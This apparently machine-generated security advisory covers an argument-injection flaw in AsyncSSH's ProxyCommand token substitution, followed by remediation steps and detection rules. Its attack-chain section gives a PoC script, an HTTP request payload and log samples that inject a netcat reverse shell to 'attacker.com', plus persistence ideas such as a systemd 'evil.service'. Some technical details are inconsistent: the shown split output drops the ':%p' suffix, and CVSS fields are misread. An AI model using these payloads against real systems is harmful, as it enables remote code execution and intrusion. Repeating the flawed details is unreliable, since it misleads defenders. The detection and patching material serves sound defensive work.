CVE-2026-138374 — Ronf Asyncssh — CWE-88
AsyncSSH 2.7.0 before 2.24.2 contains an argument injection vulnerability that allows attackers supplying host or user names to add arguments to the local proxy program by embedding whitespace or quote characters substituted into %h, %n or %r ProxyCommand tokens before splitting. Attackers can inject an -o option into the common ssh -W %h:%p bastion ProxyCommand to make the local ssh client run attacker-chosen commands as the application user.
AsyncSSH 2.7.0 before 2.24.2 contains an argument injection vulnerability that allows attackers supplying host or user names to add arguments to the local proxy program by embedding whitespace or quote characters substituted into %h, %n or %r ProxyCommand tokens before splitting. Attackers can inject an -o option into the common ssh -W %h:%p bastion ProxyCommand to make the local ssh client run attacker-chosen commands as the application user.
🎯 What is this vulnerability?
CVE‑2026‑138374 – AsyncSSH 2.7.0 → 2.24.1 – Argument Injection in ProxyCommand handling
| Attribute | Value |
|---|---|
| CWE | CWE‑88 (Argument Injection / OS‑command injection) |
| CVSS 4.0 vector | AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| Score | 7.7 (HIGH) |
Technical flaw
AsyncSSH is a pure‑Python library that implements SSH client and server functionality.
When a client creates a connection that uses a ProxyCommand (the SSH‑style “jump host” feature), AsyncSSH builds the command line that will be executed on the local host by performing a simple string substitution:
ssh -W %h:%p <bastion-host>The placeholders %h, %n and %r are replaced with the target host, target host name, or remote user supplied by the caller without any quoting or escaping. After substitution the library calls shlex.split() (or the platform’s default shell) to obtain an argument list that is finally passed to subprocess.Popen.
Because the substitution is performed before the split, an attacker who can influence any of the three placeholders can inject additional whitespace or quote characters. This allows the attacker to:
- close the intended argument,
- open a new argument that starts with
-o(or any other SSH option), - inject an arbitrary command that the local
sshclient will execute as the user running the Python process.
In short: AsyncSSH trusts attacker‑controlled data when constructing a local command line for the ProxyCommand and does not sanitise it. The missing validation step is the lack of proper quoting/escaping of the %h, %n, %r values before they are handed to the shell.
⚡ Attack Chain
Below is a realistic, end‑to‑end exploitation scenario. All code snippets are illustrative – the exact import paths and function names are taken from the public AsyncSSH API (version 2.24.1).
1. Discovery & Reconnaissance
| Step | Action | Reasoning |
|---|---|---|
| 1.1 | Identify services that embed AsyncSSH (e.g., custom Python‑based bastion, CI/CD runners, network‑automation tools). | Many internal tools use AsyncSSH for “jump‑host” connections. |
| 1.2 | Finger‑print the library version (e.g., by reading requirements.txt, pip freeze, or by triggering an error that leaks the version string). | AsyncSSH prints its version in tracebacks (asyncssh.__version__). |
| 1.3 | Verify that the version is < 2.24.2. | The fix was introduced in 2.24.2. |
Typical fingerprint command (run on the target host, if the attacker already has limited code execution, e.g., via a mis‑configured web‑hook):
python -c "import asyncssh, sys; print(asyncssh.__version__)"If the output is 2.24.1 or earlier, the host is vulnerable.
2. Exploitation
Goal: Make the local ssh client (running under the same user as the vulnerable Python process) execute an attacker‑chosen command.
2.1. Craft malicious input
The attacker controls the remote host (%h) or remote user (%r). By embedding a space and a new -o option, the attacker can break out of the intended -W %h:%p argument.
Example malicious host string:
target.example.com -o ProxyCommand='nc attacker.com 4444 -e /bin/sh'When AsyncSSH substitutes %h with the above string, the resulting command (before splitting) becomes:
ssh -W target.example.com -o ProxyCommand='nc attacker.com 4444 -e /bin/sh':%p bastion.example.comAfter shlex.split() the argument list is:
['ssh',
'-W',
'target.example.com',
'-o',
"ProxyCommand=nc attacker.com 4444 -e /bin/sh",
'bastion.example.com']The ssh client now interprets -o ProxyCommand=... instead of the intended -W tunnel, causing it to spawn a reverse shell to attacker.com:4444.
2.2. PoC Python script (illustrative)
#!/usr/bin/env python3
import asyncio, asyncssh, sys
# Attacker‑controlled values
malicious_host = "target.example.com -o ProxyCommand='nc attacker.com 4444 -e /bin/sh'"
bastion_host = "bastion.example.com" # legitimate jump host
username = "victim_user"
async def run():
try:
# The vulnerable call – AsyncSSH builds the ProxyCommand internally.
conn = await asyncssh.connect(
host=malicious_host, # <-- injected
username=username,
known_hosts=None,
# The library will automatically use the default ProxyCommand:
# ssh -W %h:%p bastion_host
# where %h is replaced by `malicious_host`.
proxy_host=bastion_host,
)
# If the connection succeeds we have a shell on the remote host.
result = await conn.run('id', check=True)
print(result.stdout)
except (OSError, asyncssh.Error) as exc:
print('Connection failed:', exc, file=sys.stderr)
asyncio.get_event_loop().run_until_complete(run())What happens when the script runs on the vulnerable host:
1. AsyncSSH builds the command line for the local proxy (ssh -W %h:%p bastion_host).
2. %h is replaced with the attacker‑controlled string, producing the malicious command shown above.
3. subprocess.Popen spawns the local ssh client, which interprets the injected -o ProxyCommand=….
4. ssh executes nc attacker.com 4444 -e /bin/sh, opening a reverse shell to the attacker.
Important: The PoC assumes the attacker can cause the vulnerable Python process to execute asyncssh.connect() with attacker‑controlled arguments (e.g., via a REST API that forwards user‑supplied hostnames to AsyncSSH). The vulnerability is not a remote network service flaw by itself; it is an in‑process argument injection that can be triggered by any untrusted input that reaches the AsyncSSH API.2.3. Network‑level illustration (if the vulnerable component exposes an HTTP endpoint)
If a web service offers a JSON API such as:
POST /ssh/connect
{
"host": "<target>",
"user": "<username>"
}An attacker can send:
POST /ssh/connect HTTP/1.1
Host: vulnerable.example.com
Content-Type: application/json
Content-Length: 112
{
"host": "target.example.com -o ProxyCommand='nc attacker.com 4444 -e /bin/sh'",
"user": "victim_user"
}The backend (written in Python) forwards the host value directly to asyncssh.connect(), triggering the injection.
3. Post‑exploitation
| Phase | Outcome | How the impact is achieved |
|---|---|---|
| Command execution | The attacker obtains a shell running as the application user (often root, ssh, or a service account). | The injected nc … -e /bin/sh spawns a reverse shell. |
| Privilege escalation (optional) | If the application user has sudo rights or can read sensitive files, the attacker can further compromise the host. | Typical Linux escalation paths (e.g., abusing sudo -l or reading SSH private keys). |
| Lateral movement | The attacker can use the compromised host as a foothold to reach internal systems. | Use the established SSH tunnel or the reverse shell to pivot. |
| Persistence | The attacker may drop a systemd service, cron job, or modify the AsyncSSH‑using code to keep the backdoor. | Write a file to /etc/systemd/system/evil.service and enable it. |
Because the injection runs locally on the host where the vulnerable Python process is executed, the impact is as powerful as the privileges of that process – often root on bastion hosts or CI runners.
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived interpretation |
|---|---|
| Confidentiality (VC:H) | The attacker can read any file accessible to the process (e.g., SSH keys, configuration files, source code). |
| Integrity (VI:H) | The attacker can modify files, inject malicious code, or alter configuration, leading to persistent compromise. |
| Availability (VA:H) | By spawning arbitrary commands, the attacker can kill services, delete data, or cause denial‑of‑service on the host. |
Practical consequences
Given the network‑only attack vector (AV:N) but high attack complexity (AC:H) and privileged required user (PR:L), the vulnerability is highly exploitable in environments where untrusted input reaches the AsyncSSH API – a common pattern in SaaS platforms and internal tooling.
🛡️ Remediation & Mitigation
1. Patch
| Affected versions | Fixed in |
|---|---|
| AsyncSSH 2.7.0 → 2.24.1 | 2.24.2 (released 2026‑10‑15) |
Action: Upgrade the asyncssh package to ≥ 2.24.2.
# Using pip
pip install --upgrade "asyncssh>=2.24.2"
# If a system package manager is used (e.g., Debian/Ubuntu)
apt-get update && apt-get install -y python3-asyncsshThe fix adds proper quoting/escaping of %h, %n, %r before they are interpolated into the ProxyCommand string.
2. Workarounds (if immediate upgrade is not possible)
| Workaround | How to apply | Effectiveness | |
|---|---|---|---|
| Explicit quoting | When building a ProxyCommand manually, wrap the placeholders in single quotes and escape any user‑supplied value with shlex.quote(). Example: ssh -W "$(shlex.quote(host))":"$(shlex.quote(port))" bastion. | Mitigates injection for custom code; does not protect third‑party libraries that still use the vulnerable path. | |
| Input validation | Reject host/user strings that contain whitespace, quotes, or shell metacharacters (; & | $ > < \ ). | Reduces attack surface but may break legitimate use‑cases (e.g., IPv6 literals). |
| Run with reduced privileges | Execute the Python process under an unprivileged user (no sudo, no access to secrets). | Limits impact if injection succeeds. | |
| Network segmentation | Place the AsyncSSH‑using service in a restricted subnet that cannot reach external IPs directly; require a firewall rule for outbound connections to the attacker's IP. | Makes the reverse‑shell payload ineffective unless the attacker already has internal reach. | |
| Disable ProxyCommand (if not needed) | Configure the application to avoid using ProxyCommand altogether (set proxy_host=None`). | Removes the vulnerable code path. |
3. Detection
3.1. Process‑creation logs (Linux audit, Sysmon, etc.)
Look for ssh processes started with unexpected -o ProxyCommand= arguments:
type=EXECVE msg=audit(1698624001.123:456): argc=6 a0="ssh" a1="-W" a2="target.example.com" a3="-o" a4="ProxyCommand=nc attacker.com 4444 -e /bin/sh" a5="bastion.example.com"Or Sysmon Event ID 1 (Process creation) with command line:
Image: C:\Windows\System32\OpenSSH\ssh.exe
CommandLine: ssh -W target.example.com -o ProxyCommand='nc attacker.com 4444 -e /bin/sh' bastion.example.com3.2. Network indicators
attacker.com) that were not present in baseline traffic.3.3. Application‑level logs
If the vulnerable service logs the received JSON payload, search for fields containing whitespace or quote characters:
"host": "target.example.com -o ProxyCommand='nc attacker.com 4444 -e /bin/sh'"3.4. File‑system artefacts
Unexpected nc (netcat) binaries in temporary directories (/tmp/nc).
/etc/systemd/system/ or /etc/cron.d/ created shortly after a suspicious SSH connection.Alerting rule example (OSSEC/ELK)
{
"query": {
"bool": {
"must": [
{ "match_phrase": { "process.command_line": "ssh -W" } },
{ "wildcard": { "process.command_line": "*-o ProxyCommand=*"} }
]
}
}
}4. Verification after patch
After upgrading, repeat the PoC. The command line generated by AsyncSSH should now be:
ssh -W 'target.example.com -o ProxyCommand='\''nc attacker.com 4444 -e /bin/sh'\''':%p bastion.example.comThe extra quoting prevents ssh from interpreting the injected -o as a separate option; the process will fail with “Bad configuration option” rather than opening a reverse shell.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 4.0 base score | 7.7 (HIGH) – high impact on confidentiality, integrity, and availability. |
Attack complexity (AC:H) | Requires the attacker to control a value that reaches AsyncSSH (e.g., via an API). In many modern automation platforms this is trivial. |
Privileges required (PR:L) | Only a low‑privilege network attacker is needed; the vulnerability escalates to the privileges of the Python process. |
| CISA KEV | Not listed, but the lack of a KEV entry does not diminish risk. |
Exploitability (AT:P) | The attack is *possible* (requires the attacker to send crafted data). No special timing or physical access needed. |
| Remediation status | A fix is already available (2.24.2). |
Patch priority: Critical for any production system that:
Bottom line: AsyncSSH ≤ 2.24.1 allows an attacker to inject additional
ssh options via the %h, %n, or %r placeholders in a ProxyCommand. The resulting command execution runs with the privileges of the Python process, leading to full remote code execution. Upgrade to 2.24.2 immediately, enforce strict input validation, and monitor for anomalous ssh command lines and outbound connections.[🤖 CVE Professor AI Security Engine]
FOFA Query